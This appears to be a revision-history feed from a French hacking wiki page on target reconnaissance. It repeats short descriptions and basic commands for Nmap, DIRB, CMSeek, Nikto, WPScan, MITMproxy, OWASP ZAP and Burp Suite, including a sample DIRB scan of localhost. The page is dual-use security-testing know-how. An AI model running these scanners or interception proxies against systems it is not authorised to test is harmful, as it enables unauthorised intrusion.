&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; offre aussi une spécification flexible de cible et de port, le balayage avec diversion ou furtif, le balayage de RPC Sun... La plupart des plate-formes Unix et Windows sont supportées en mode graphique et ligne de commande. Plusieurs périphériques portables populaires sont aussi supportés dont le Sharp Zaurus et le iPAQ.&lt;br /&gt;
&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est un scanneur de contenu web. Il recherche les objets Web existants (et/ou cachés). Il fonctionne essentiellement en lançant une &amp;lt;b&amp;gt;attaque basée sur un dictionnaire&amp;lt;/b&amp;gt; contre un serveur web et en analysant les réponses.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est livré avec un ensemble de listes de mots d'attaque préconfigurées pour une utilisation facile, mais vous pouvez utiliser vos propres listes de mots.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; peut également être utilisé comme un &amp;lt;b&amp;gt;scanner CGI&amp;lt;/b&amp;gt; classique, mais n'oubliez pas qu'il s'agit d'un scanner de contenu et non d'un scanner de vulnérabilité.&lt;br /&gt;
&lt;br /&gt;
L'objectif principal de &amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est d'aider à l'audit professionnel d'applications web, en particulier pour les tests liés à la sécurité. Il couvre certaines failles qui ne sont pas couvertes par les scanners classiques de vulnérabilités web. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; recherche des objets web spécifiques que les autres scanners CGI génériques ne peuvent pas rechercher. Il ne recherche pas les vulnérabilités, ni les contenus web susceptibles d'être vulnérables.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse &amp;lt;b&amp;gt;WordPress&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Joomla&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Drupal&amp;lt;/b&amp;gt; et plus de 180 autres &amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Un &amp;lt;b&amp;gt;système de gestion de contenu&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;content management system&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
&amp;lt;b&amp;gt;MITMproxy&amp;lt;/b&amp;gt; est un &amp;lt;b&amp;gt;proxy HTTP&amp;lt;/b&amp;gt; man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;MITMdump&amp;lt;/b&amp;gt; est la version en ligne de commande de &amp;lt;b&amp;gt;MITMproxy&amp;lt;/b&amp;gt;, et est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le &amp;lt;b&amp;gt;Zed Attack Proxy&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;ZAP&amp;lt;/b&amp;gt;) de &amp;lt;b&amp;gt;OWASP&amp;lt;/b&amp;gt; est un outil de test de pénétration intégré pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;br /&gt;
&amp;lt;b&amp;gt;Burp Suite&amp;lt;/b&amp;gt; est une plateforme intégrée permettant de tester la sécurité des applications web. Ses différents outils fonctionnent de manière transparente pour soutenir l'ensemble du processus de test, depuis la cartographie et l'analyse initiales de la surface d'attaque d'une application jusqu'à la recherche et l'exploitation des vulnérabilités de sécurité.&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93556</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93556"/>
		<updated>2023-12-02T15:46:58Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* OWASP ZAP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; est un utilitaire pour l'exploration de réseau et l'audit de sécurité. Il supporte le &amp;lt;b&amp;gt;balayage ping&amp;lt;/b&amp;gt; (déterminer quels hôtes sont allumés), de nombreuses techniques de &amp;lt;b&amp;gt;balayage de ports&amp;lt;/b&amp;gt;, la &amp;lt;b&amp;gt;détection de version&amp;lt;/b&amp;gt; (déterminer les protocoles de services et les versions d'applications qui écoutent derrière ces ports) et les &amp;lt;b&amp;gt;empreintes TCP/IP&amp;lt;/b&amp;gt; (identification du système d'exploitation ou du périphérique à distance).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; offre aussi une spécification flexible de cible et de port, le balayage avec diversion ou furtif, le balayage de RPC Sun... La plupart des plate-formes Unix et Windows sont supportées en mode graphique et ligne de commande. Plusieurs périphériques portables populaires sont aussi supportés dont le Sharp Zaurus et le iPAQ.&lt;br /&gt;
&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est un scanneur de contenu web. Il recherche les objets Web existants (et/ou cachés). Il fonctionne essentiellement en lançant une &amp;lt;b&amp;gt;attaque basée sur un dictionnaire&amp;lt;/b&amp;gt; contre un serveur web et en analysant les réponses.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est livré avec un ensemble de listes de mots d'attaque préconfigurées pour une utilisation facile, mais vous pouvez utiliser vos propres listes de mots.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; peut également être utilisé comme un &amp;lt;b&amp;gt;scanner CGI&amp;lt;/b&amp;gt; classique, mais n'oubliez pas qu'il s'agit d'un scanner de contenu et non d'un scanner de vulnérabilité.&lt;br /&gt;
&lt;br /&gt;
L'objectif principal de &amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est d'aider à l'audit professionnel d'applications web, en particulier pour les tests liés à la sécurité. Il couvre certaines failles qui ne sont pas couvertes par les scanners classiques de vulnérabilités web. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; recherche des objets web spécifiques que les autres scanners CGI génériques ne peuvent pas rechercher. Il ne recherche pas les vulnérabilités, ni les contenus web susceptibles d'être vulnérables.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse &amp;lt;b&amp;gt;WordPress&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Joomla&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Drupal&amp;lt;/b&amp;gt; et plus de 180 autres &amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Un &amp;lt;b&amp;gt;système de gestion de contenu&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;content management system&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
&amp;lt;b&amp;gt;MITMproxy&amp;lt;/b&amp;gt; est un &amp;lt;b&amp;gt;proxy HTTP&amp;lt;/b&amp;gt; man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;MITMdump&amp;lt;/b&amp;gt; est la version en ligne de commande de &amp;lt;b&amp;gt;MITMproxy&amp;lt;/b&amp;gt;, et est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le &amp;lt;b&amp;gt;Zed Attack Proxy&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;ZAP&amp;lt;/b&amp;gt;) de &amp;lt;b&amp;gt;OWASP&amp;lt;/b&amp;gt; est un outil de test de pénétration intégré pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;br /&gt;
Burp Suite est une plateforme intégrée permettant de tester la sécurité des applications web. Ses différents outils fonctionnent de manière transparente pour soutenir l'ensemble du processus de test, depuis la cartographie et l'analyse initiales de la surface d'attaque d'une application jusqu'à la recherche et l'exploitation des vulnérabilités de sécurité.&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93555</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93555"/>
		<updated>2023-12-02T15:45:51Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* MITMproxy */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; est un utilitaire pour l'exploration de réseau et l'audit de sécurité. Il supporte le &amp;lt;b&amp;gt;balayage ping&amp;lt;/b&amp;gt; (déterminer quels hôtes sont allumés), de nombreuses techniques de &amp;lt;b&amp;gt;balayage de ports&amp;lt;/b&amp;gt;, la &amp;lt;b&amp;gt;détection de version&amp;lt;/b&amp;gt; (déterminer les protocoles de services et les versions d'applications qui écoutent derrière ces ports) et les &amp;lt;b&amp;gt;empreintes TCP/IP&amp;lt;/b&amp;gt; (identification du système d'exploitation ou du périphérique à distance).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; offre aussi une spécification flexible de cible et de port, le balayage avec diversion ou furtif, le balayage de RPC Sun... La plupart des plate-formes Unix et Windows sont supportées en mode graphique et ligne de commande. Plusieurs périphériques portables populaires sont aussi supportés dont le Sharp Zaurus et le iPAQ.&lt;br /&gt;
&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est un scanneur de contenu web. Il recherche les objets Web existants (et/ou cachés). Il fonctionne essentiellement en lançant une &amp;lt;b&amp;gt;attaque basée sur un dictionnaire&amp;lt;/b&amp;gt; contre un serveur web et en analysant les réponses.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est livré avec un ensemble de listes de mots d'attaque préconfigurées pour une utilisation facile, mais vous pouvez utiliser vos propres listes de mots.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; peut également être utilisé comme un &amp;lt;b&amp;gt;scanner CGI&amp;lt;/b&amp;gt; classique, mais n'oubliez pas qu'il s'agit d'un scanner de contenu et non d'un scanner de vulnérabilité.&lt;br /&gt;
&lt;br /&gt;
L'objectif principal de &amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est d'aider à l'audit professionnel d'applications web, en particulier pour les tests liés à la sécurité. Il couvre certaines failles qui ne sont pas couvertes par les scanners classiques de vulnérabilités web. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; recherche des objets web spécifiques que les autres scanners CGI génériques ne peuvent pas rechercher. Il ne recherche pas les vulnérabilités, ni les contenus web susceptibles d'être vulnérables.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse &amp;lt;b&amp;gt;WordPress&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Joomla&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Drupal&amp;lt;/b&amp;gt; et plus de 180 autres &amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Un &amp;lt;b&amp;gt;système de gestion de contenu&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;content management system&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
&amp;lt;b&amp;gt;MITMproxy&amp;lt;/b&amp;gt; est un &amp;lt;b&amp;gt;proxy HTTP&amp;lt;/b&amp;gt; man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;MITMdump&amp;lt;/b&amp;gt; est la version en ligne de commande de &amp;lt;b&amp;gt;MITMproxy&amp;lt;/b&amp;gt;, et est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le Zed Attack Proxy (ZAP) de OWASP est un outil de test de pénétration intégré et facile à utiliser pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs fonctionnels qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;br /&gt;
Burp Suite est une plateforme intégrée permettant de tester la sécurité des applications web. Ses différents outils fonctionnent de manière transparente pour soutenir l'ensemble du processus de test, depuis la cartographie et l'analyse initiales de la surface d'attaque d'une application jusqu'à la recherche et l'exploitation des vulnérabilités de sécurité.&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93554</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93554"/>
		<updated>2023-12-02T15:44:55Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* CMSEEK */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; est un utilitaire pour l'exploration de réseau et l'audit de sécurité. Il supporte le &amp;lt;b&amp;gt;balayage ping&amp;lt;/b&amp;gt; (déterminer quels hôtes sont allumés), de nombreuses techniques de &amp;lt;b&amp;gt;balayage de ports&amp;lt;/b&amp;gt;, la &amp;lt;b&amp;gt;détection de version&amp;lt;/b&amp;gt; (déterminer les protocoles de services et les versions d'applications qui écoutent derrière ces ports) et les &amp;lt;b&amp;gt;empreintes TCP/IP&amp;lt;/b&amp;gt; (identification du système d'exploitation ou du périphérique à distance).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; offre aussi une spécification flexible de cible et de port, le balayage avec diversion ou furtif, le balayage de RPC Sun... La plupart des plate-formes Unix et Windows sont supportées en mode graphique et ligne de commande. Plusieurs périphériques portables populaires sont aussi supportés dont le Sharp Zaurus et le iPAQ.&lt;br /&gt;
&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est un scanneur de contenu web. Il recherche les objets Web existants (et/ou cachés). Il fonctionne essentiellement en lançant une &amp;lt;b&amp;gt;attaque basée sur un dictionnaire&amp;lt;/b&amp;gt; contre un serveur web et en analysant les réponses.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est livré avec un ensemble de listes de mots d'attaque préconfigurées pour une utilisation facile, mais vous pouvez utiliser vos propres listes de mots.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; peut également être utilisé comme un &amp;lt;b&amp;gt;scanner CGI&amp;lt;/b&amp;gt; classique, mais n'oubliez pas qu'il s'agit d'un scanner de contenu et non d'un scanner de vulnérabilité.&lt;br /&gt;
&lt;br /&gt;
L'objectif principal de &amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; est d'aider à l'audit professionnel d'applications web, en particulier pour les tests liés à la sécurité. Il couvre certaines failles qui ne sont pas couvertes par les scanners classiques de vulnérabilités web. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;DIRB&amp;lt;/b&amp;gt; recherche des objets web spécifiques que les autres scanners CGI génériques ne peuvent pas rechercher. Il ne recherche pas les vulnérabilités, ni les contenus web susceptibles d'être vulnérables.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
Il analyse &amp;lt;b&amp;gt;WordPress&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Joomla&amp;lt;/b&amp;gt;, &amp;lt;b&amp;gt;Drupal&amp;lt;/b&amp;gt; et plus de 180 autres &amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Un &amp;lt;b&amp;gt;système de gestion de contenu&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;content management system&amp;lt;/b&amp;gt; (&amp;lt;b&amp;gt;CMS&amp;lt;/b&amp;gt;)) gère la création et la modification de contenu numérique. Il prend généralement en charge plusieurs utilisateurs dans un environnement collaboratif.&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
WPScan analyse les installations WordPress à distance pour détecter les problèmes de sécurité.&lt;br /&gt;
&lt;br /&gt;
= Dorking =&lt;br /&gt;
&lt;br /&gt;
= MITMproxy =&lt;br /&gt;
MITMproxy est un proxy HTTP man-in-the-middle compatible SSL. Il fournit une interface console qui permet d'inspecter et d'éditer les flux de trafic à la volée.&lt;br /&gt;
&lt;br /&gt;
MITMdump est la version en ligne de commande de MITMproxy, est livrée avec les mêmes fonctionnalités, mais sans fioritures.&lt;br /&gt;
&lt;br /&gt;
Caractéristiques :&lt;br /&gt;
*Intercepte et modifie le trafic HTTP à la volée&lt;br /&gt;
*Sauvegarde des conversations HTTP pour une relecture et une analyse ultérieures&lt;br /&gt;
*Rejoue à la fois les requêtes HTTP clients et serveurs&lt;br /&gt;
*Modification par script du trafic HTTP à l'aide de Python&lt;br /&gt;
*Certificats d'interception SSL sont générés à la volée.&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy&lt;br /&gt;
&lt;br /&gt;
 $ mitmproxy -h&lt;br /&gt;
&lt;br /&gt;
= OWASP ZAP =&lt;br /&gt;
Le Zed Attack Proxy (ZAP) de OWASP est un outil de test de pénétration intégré et facile à utiliser pour trouver les vulnérabilités dans les applications web.&lt;br /&gt;
&lt;br /&gt;
Il est conçu pour être utilisé par des personnes ayant une expérience variée en matière de sécurité et est donc idéal pour les développeurs et les testeurs fonctionnels qui débutent dans les tests de pénétration, tout en étant un complément utile à la boîte à outils d'un testeur expérimenté.&lt;br /&gt;
&lt;br /&gt;
= Burp Suite =&lt;br /&gt;
Burp Suite est une plateforme intégrée permettant de tester la sécurité des applications web. Ses différents outils fonctionnent de manière transparente pour soutenir l'ensemble du processus de test, depuis la cartographie et l'analyse initiales de la surface d'attaque d'une application jusqu'à la recherche et l'exploitation des vulnérabilités de sécurité.&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93553</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93553"/>
		<updated>2023-12-02T15:44:25Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* CMSEEK */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; est un utilitaire pour l'exploration de réseau et l'audit de sécurité. Il supporte le &amp;lt;b&amp;gt;balayage ping&amp;lt;/b&amp;gt; (déterminer quels hôtes sont allumés), de nombreuses techniques de &amp;lt;b&amp;gt;balayage de ports&amp;lt;/b&amp;gt;, la &amp;lt;b&amp;gt;détection de version&amp;lt;/b&amp;gt; (déterminer les protocoles de services et les versions d'applications qui écoutent derrière ces ports) et les &amp;lt;b&amp;gt;empreintes TCP/IP&amp;lt;/b&amp;gt; (identification du système d'exploitation ou du périphérique à distance).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nmap&amp;lt;/b&amp;gt; offre aussi une spécification flexible de cible et de port, le balayage avec diversion ou furtif, le balayage de RPC Sun... La plupart des plate-formes Unix et Windows sont supportées en mode graphique et ligne de commande. Plusieurs périphériques portables populaires sont aussi supportés dont le Sharp Zaurus et le iPAQ.&lt;br /&gt;
&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
